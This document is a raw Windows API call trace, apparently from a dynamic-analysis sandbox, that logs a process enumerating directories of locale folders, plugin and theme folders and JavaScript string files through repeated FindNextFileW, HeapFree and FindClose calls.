	[0170.629] FindNextFileW (in: hFindFile=0x394b9f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1
	[0170.629] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0170.629] FindNextFileW (in: hFindFile=0x394b9f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1
	[0170.630] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0170.630] FindNextFileW (in: hFindFile=0x394b9f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1
	[0170.630] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0170.630] FindNextFileW (in: hFindFile=0x394b9f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1
	[0170.630] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0170.630] FindNextFileW (in: hFindFile=0x394b9f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1
	[0170.630] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0170.631] FindNextFileW (in: hFindFile=0x394b9f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1
	[0170.631] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0170.631] FindNextFileW (in: hFindFile=0x394b9f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1
	[0170.631] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0170.631] FindNextFileW (in: hFindFile=0x394b9f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1
	[0170.631] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0170.631] FindNextFileW (in: hFindFile=0x394b9f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1
	[0170.632] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0170.632] FindNextFileW (in: hFindFile=0x394b9f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1
	[0170.632] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0170.632] FindNextFileW (in: hFindFile=0x394b9f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1
	[0170.633] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0170.633] FindNextFileW (in: hFindFile=0x394b9f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1
	[0170.634] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0170.634] FindNextFileW (in: hFindFile=0x394b9f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x451, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1
	[0170.634] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0170.634] FindNextFileW (in: hFindFile=0x394b8f8, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3ad, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 1
	[0170.635] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0170.635] FindNextFileW (in: hFindFile=0x394b938, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp", cAlternateFileName="")) returned 0
	[0170.635] FindClose (in: hFindFile=0x394b938 | out: hFindFile=0x394b938) returned 1
	[0170.635] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0170.635] FindNextFileW (in: hFindFile=0x394b8f8, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugins", cAlternateFileName="")) returned 0
	[0170.635] FindClose (in: hFindFile=0x394b8f8 | out: hFindFile=0x394b8f8) returned 1
	[0170.635] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0170.635] FindNextFileW (in: hFindFile=0x394b638, lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0
	[0170.635] FindClose (in: hFindFile=0x394b638 | out: hFindFile=0x394b638) returned 1
	[0170.635] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0170.637] FindNextFileW (in: hFindFile=0x394b538, lpFindFileData=0x2fbe69c | out: lpFindFileData=0x2fbe69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="home", cAlternateFileName="")) returned 1
	[0170.639] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0170.639] FindNextFileW (in: hFindFile=0x394b8f8, lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1
	[0170.677] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0170.690] FindNextFileW (in: hFindFile=0x394b938, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0
	[0170.690] FindClose (in: hFindFile=0x394b938 | out: hFindFile=0x394b938) returned 1
	[0170.690] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0170.690] FindNextFileW (in: hFindFile=0x394b5f8, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 0
	[0170.690] FindClose (in: hFindFile=0x394b5f8 | out: hFindFile=0x394b5f8) returned 1
	[0170.690] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0170.692] FindNextFileW (in: hFindFile=0x394b8f8, lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1
	[0171.123] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0171.123] FindNextFileW (in: hFindFile=0x394b5f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1
	[0171.123] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0171.123] FindNextFileW (in: hFindFile=0x394b5f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1
	[0171.123] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0171.123] FindNextFileW (in: hFindFile=0x394b5f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1
	[0171.123] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0171.123] FindNextFileW (in: hFindFile=0x394b5f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1
	[0171.124] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0171.124] FindNextFileW (in: hFindFile=0x394b5f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1
	[0171.124] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0171.124] FindNextFileW (in: hFindFile=0x394b5f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1
	[0171.124] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0171.124] FindNextFileW (in: hFindFile=0x394b5f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1
	[0171.124] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0171.124] FindNextFileW (in: hFindFile=0x394b5f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1
	[0171.125] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0171.125] FindNextFileW (in: hFindFile=0x394b5f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1
	[0171.125] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0171.125] FindNextFileW (in: hFindFile=0x394b5f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1
	[0171.125] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0171.125] FindNextFileW (in: hFindFile=0x394b5f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1
	[0171.125] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0171.125] FindNextFileW (in: hFindFile=0x394b5f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1
	[0171.126] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0171.126] FindNextFileW (in: hFindFile=0x394b5f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1
	[0171.126] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0171.126] FindNextFileW (in: hFindFile=0x394b7f8, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x373f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 1
	[0171.126] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0171.126] FindNextFileW (in: hFindFile=0x394b8f8, lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0
	[0171.126] FindClose (in: hFindFile=0x394b8f8 | out: hFindFile=0x394b8f8) returned 1
	[0171.126] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0171.128] FindNextFileW (in: hFindFile=0x394b538, lpFindFileData=0x2fbe69c | out: lpFindFileData=0x2fbe69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="my-computer", cAlternateFileName="MY-COM~2")) returned 1
